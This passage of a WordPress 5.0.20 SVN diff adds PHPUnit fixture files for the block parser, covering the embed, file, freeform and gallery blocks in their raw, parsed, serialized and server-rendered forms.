AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE="></video>
+	<p class="wp-block-cover-text">Guten Berg!</p>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.html	(revision 56912)
@@ -0,0 +1,8 @@
+<!-- wp:core/embed {"url":"https://example.com/"} -->
+<figure class="wp-block-embed">
+    <div class="wp-block-embed__wrapper">
+        https://example.com/
+    </div>
+    <figcaption>Embedded content from an example URL</figcaption>
+</figure>
+<!-- /wp:core/embed -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.json	(revision 56912)
@@ -0,0 +1,14 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/embed",
+        "isValid": true,
+        "attributes": {
+            "url": "https://example.com/",
+            "caption": "Embedded content from an example URL",
+            "allowResponsive": true
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-embed\">\n    <div class=\"wp-block-embed__wrapper\">\n        https://example.com/\n    </div>\n    <figcaption>Embedded content from an example URL</figcaption>\n</figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.parsed.json	(revision 56912)
@@ -0,0 +1,22 @@
+[
+    {
+        "blockName": "core/embed",
+        "attrs": {
+            "url": "https://example.com/"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-embed\">\n    <div class=\"wp-block-embed__wrapper\">\n        https://example.com/\n    </div>\n    <figcaption>Embedded content from an example URL</figcaption>\n</figure>\n",
+        "innerContent": [
+            "\n<figure class=\"wp-block-embed\">\n    <div class=\"wp-block-embed__wrapper\">\n        https://example.com/\n    </div>\n    <figcaption>Embedded content from an example URL</figcaption>\n</figure>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.serialized.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:embed {"url":"https://example.com/"} -->
+<figure class="wp-block-embed"><div class="wp-block-embed__wrapper">
+https://example.com/
+</div><figcaption>Embedded content from an example URL</figcaption></figure>
+<!-- /wp:embed -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__embed.server.html	(revision 56912)
@@ -0,0 +1,8 @@
+
+<figure class="wp-block-embed">
+    <div class="wp-block-embed__wrapper">
+        https://example.com/
+    </div>
+    <figcaption>Embedded content from an example URL</figcaption>
+</figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:file {"href":"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js","showDownloadButton":true,"id":176} -->
+<div class="wp-block-file"><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" target="_blank" rel="noreferrer noopener">6546</a><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" class="wp-block-file__button" download>Download</a></div>
+<!-- /wp:file -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/file",
+        "isValid": true,
+        "attributes": {
+            "id": 176,
+            "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js",
+            "fileName": "6546",
+            "textLinkHref": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js",
+            "textLinkTarget": "_blank",
+            "showDownloadButton": true,
+            "downloadButtonText": "Download"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-file\"><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" target=\"_blank\" rel=\"noreferrer noopener\">6546</a><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" class=\"wp-block-file__button\" download>Download</a></div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.parsed.json	(revision 56912)
@@ -0,0 +1,24 @@
+[
+    {
+        "blockName": "core/file",
+        "attrs": {
+            "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js",
+            "showDownloadButton": true,
+            "id": 176
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-file\"><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" target=\"_blank\" rel=\"noreferrer noopener\">6546</a><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" class=\"wp-block-file__button\" download>Download</a></div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-file\"><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" target=\"_blank\" rel=\"noreferrer noopener\">6546</a><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" class=\"wp-block-file__button\" download>Download</a></div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:file {"id":176,"href":"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js"} -->
+<div class="wp-block-file"><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" target="_blank" rel="noreferrer noopener">6546</a><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" class="wp-block-file__button" download>Download</a></div>
+<!-- /wp:file -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__new-window.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<div class="wp-block-file"><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" target="_blank" rel="noreferrer noopener">6546</a><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" class="wp-block-file__button" download>Download</a></div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:file {"href":"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js","showDownloadButton":false,"id":176} -->
+<div class="wp-block-file"><a href="http://localhost:8888/?attachment_id=176">lkjfijwef</a></div>
+<!-- /wp:file -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.json	(revision 56912)
@@ -0,0 +1,17 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/file",
+        "isValid": true,
+        "attributes": {
+            "id": 176,
+            "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js",
+            "fileName": "lkjfijwef",
+            "textLinkHref": "http://localhost:8888/?attachment_id=176",
+            "showDownloadButton": false,
+            "downloadButtonText": ""
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-file\"><a href=\"http://localhost:8888/?attachment_id=176\">lkjfijwef</a></div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.parsed.json	(revision 56912)
@@ -0,0 +1,24 @@
+[
+    {
+        "blockName": "core/file",
+        "attrs": {
+            "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js",
+            "showDownloadButton": false,
+            "id": 176
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-file\"><a href=\"http://localhost:8888/?attachment_id=176\">lkjfijwef</a></div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-file\"><a href=\"http://localhost:8888/?attachment_id=176\">lkjfijwef</a></div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:file {"id":176,"href":"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js","showDownloadButton":false} -->
+<div class="wp-block-file"><a href="http://localhost:8888/?attachment_id=176">lkjfijwef</a></div>
+<!-- /wp:file -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-download-button.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<div class="wp-block-file"><a href="http://localhost:8888/?attachment_id=176">lkjfijwef</a></div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:file {"href":"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js","showDownloadButton":true,"id":176} -->
+<div class="wp-block-file"><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" class="wp-block-file__button" download>Download</a></div>
+<!-- /wp:file -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/file",
+        "isValid": true,
+        "attributes": {
+            "id": 176,
+            "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js",
+            "fileName": "",
+            "showDownloadButton": true,
+            "downloadButtonText": "Download"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-file\"><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" class=\"wp-block-file__button\" download>Download</a></div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.parsed.json	(revision 56912)
@@ -0,0 +1,24 @@
+[
+    {
+        "blockName": "core/file",
+        "attrs": {
+            "href": "http://localhost:8888/wp-content/uploads/2018/05/keycodes.js",
+            "showDownloadButton": true,
+            "id": 176
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-file\"><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" class=\"wp-block-file__button\" download>Download</a></div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-file\"><a href=\"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js\" class=\"wp-block-file__button\" download>Download</a></div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:file {"id":176,"href":"http://localhost:8888/wp-content/uploads/2018/05/keycodes.js"} -->
+<div class="wp-block-file"><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" class="wp-block-file__button" download>Download</a></div>
+<!-- /wp:file -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__file__no-text-link.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<div class="wp-block-file"><a href="http://localhost:8888/wp-content/uploads/2018/05/keycodes.js" class="wp-block-file__button" download>Download</a></div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.html	(revision 56912)
@@ -0,0 +1,6 @@
+<!-- wp:core/freeform -->
+Testing freeform block with some
+<div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
+<!-- /wp:core/freeform -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/freeform",
+        "isValid": true,
+        "attributes": {
+            "content": "<p>Testing freeform block with some\n</p><div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>"
+        },
+        "innerBlocks": [],
+        "originalContent": "<p>Testing freeform block with some\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/freeform",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\nTesting freeform block with some\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n",
+        "innerContent": [
+            "\nTesting freeform block with some\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.serialized.html	(revision 56912)
@@ -0,0 +1,4 @@
+<p>Testing freeform block with some
+</p><div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform.server.html	(revision 56912)
@@ -0,0 +1,6 @@
+
+Testing freeform block with some
+<div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.html	(revision 56912)
@@ -0,0 +1,4 @@
+Testing freeform block with some
+<div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/freeform",
+        "isValid": true,
+        "attributes": {
+            "content": "<p>Testing freeform block with some\n</p><div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>"
+        },
+        "innerBlocks": [],
+        "originalContent": "<p>Testing freeform block with some\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.parsed.json	(revision 56912)
@@ -0,0 +1,11 @@
+[
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "Testing freeform block with some\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n",
+        "innerContent": [
+            "Testing freeform block with some\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.serialized.html	(revision 56912)
@@ -0,0 +1,4 @@
+<p>Testing freeform block with some
+</p><div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__freeform__undelimited.server.html	(revision 56912)
@@ -0,0 +1,4 @@
+Testing freeform block with some
+<div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.html	(revision 56912)
@@ -0,0 +1,14 @@
+<!-- wp:core/gallery -->
+<ul class="wp-block-gallery columns-2 is-cropped">
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="https://cldup.com/uuUqE_dXzy.jpg" alt="title" />
+		</figure>
+	</li>
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="http://google.com/hi.png" alt="title" />
+		</figure>
+	</li>
+</ul>
+<!-- /wp:core/gallery -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.json	(revision 56912)
@@ -0,0 +1,25 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/gallery",
+        "isValid": true,
+        "attributes": {
+            "images": [
+                {
+                    "url": "https://cldup.com/uuUqE_dXzy.jpg",
+                    "alt": "title",
+                    "caption": ""
+                },
+                {
+                    "url": "http://google.com/hi.png",
+                    "alt": "title",
+                    "caption": ""
+                }
+            ],
+            "imageCrop": true,
+            "linkTo": "none"
+        },
+        "innerBlocks": [],
+        "originalContent": "<ul class=\"wp-block-gallery columns-2 is-cropped\">\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"http://google.com/hi.png\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n</ul>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/gallery",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<ul class=\"wp-block-gallery columns-2 is-cropped\">\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"http://google.com/hi.png\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n</ul>\n",
+        "innerContent": [
+            "\n<ul class=\"wp-block-gallery columns-2 is-cropped\">\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"http://google.com/hi.png\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n</ul>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:gallery -->
+<ul class="wp-block-gallery columns-2 is-cropped"><li class="blocks-gallery-item"><figure><img src="https://cldup.com/uuUqE_dXzy.jpg" alt="title"/></figure></li><li class="blocks-gallery-item"><figure><img src="http://google.com/hi.png" alt="title"/></figure></li></ul>
+<!-- /wp:gallery -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery.server.html	(revision 56912)
@@ -0,0 +1,14 @@
+
+<ul class="wp-block-gallery columns-2 is-cropped">
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="https://cldup.com/uuUqE_dXzy.jpg" alt="title" />
+		</figure>
+	</li>
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="http://google.com/hi.png" alt="title" />
+		</figure>
+	</li>
+</ul>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.html	(revision 56912)
@@ -0,0 +1,14 @@
+<!-- wp:core/gallery {"columns":1} -->
+<ul class="wp-block-gallery columns-1 is-cropped">
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="https://cldup.com/uuUqE_dXzy.jpg" alt="title" />
+		</figure>
+	</li>
+	<li class="blocks-gallery-item">
+		<figure>
+			<img src="http://google.com/hi.png" alt="title" />
+		</figure>
+	</li>
+</ul>
+<!-- /wp:core/gallery -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__gallery__columns.json	(revision 56912)
@@ -0,0 +1,26 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/gallery",
+        "isValid": true,
+        "attributes": {
+            "images": [
+                {
+                    "url": "https://cldup.com/uuUqE_dXzy.jpg",
+                    "alt": "title",
+                    "caption": ""
+                },
+                {
+                    "url": "http://google.com/hi.png",
+                    "alt": "title",
+                    "caption": ""
+                }
+            ],
+            "columns": 1,
+            "imageCrop": true,
+            "linkTo": "none"
+        },
+        "innerBlocks": [],
+        "originalContent": "<ul class=\"wp-block-gallery columns-1 is-cropped\">\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"https://cldup.com/uuUqE_dXzy.jpg\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n\t<li class=\"blocks-gallery-item\">\n\t\t<figure>\n\t\t\t<img src=\"http://google.com/hi.png\" alt=\"title\" />\n\t\t</figure>\n\t</li>\n</ul>"
+    }
+]
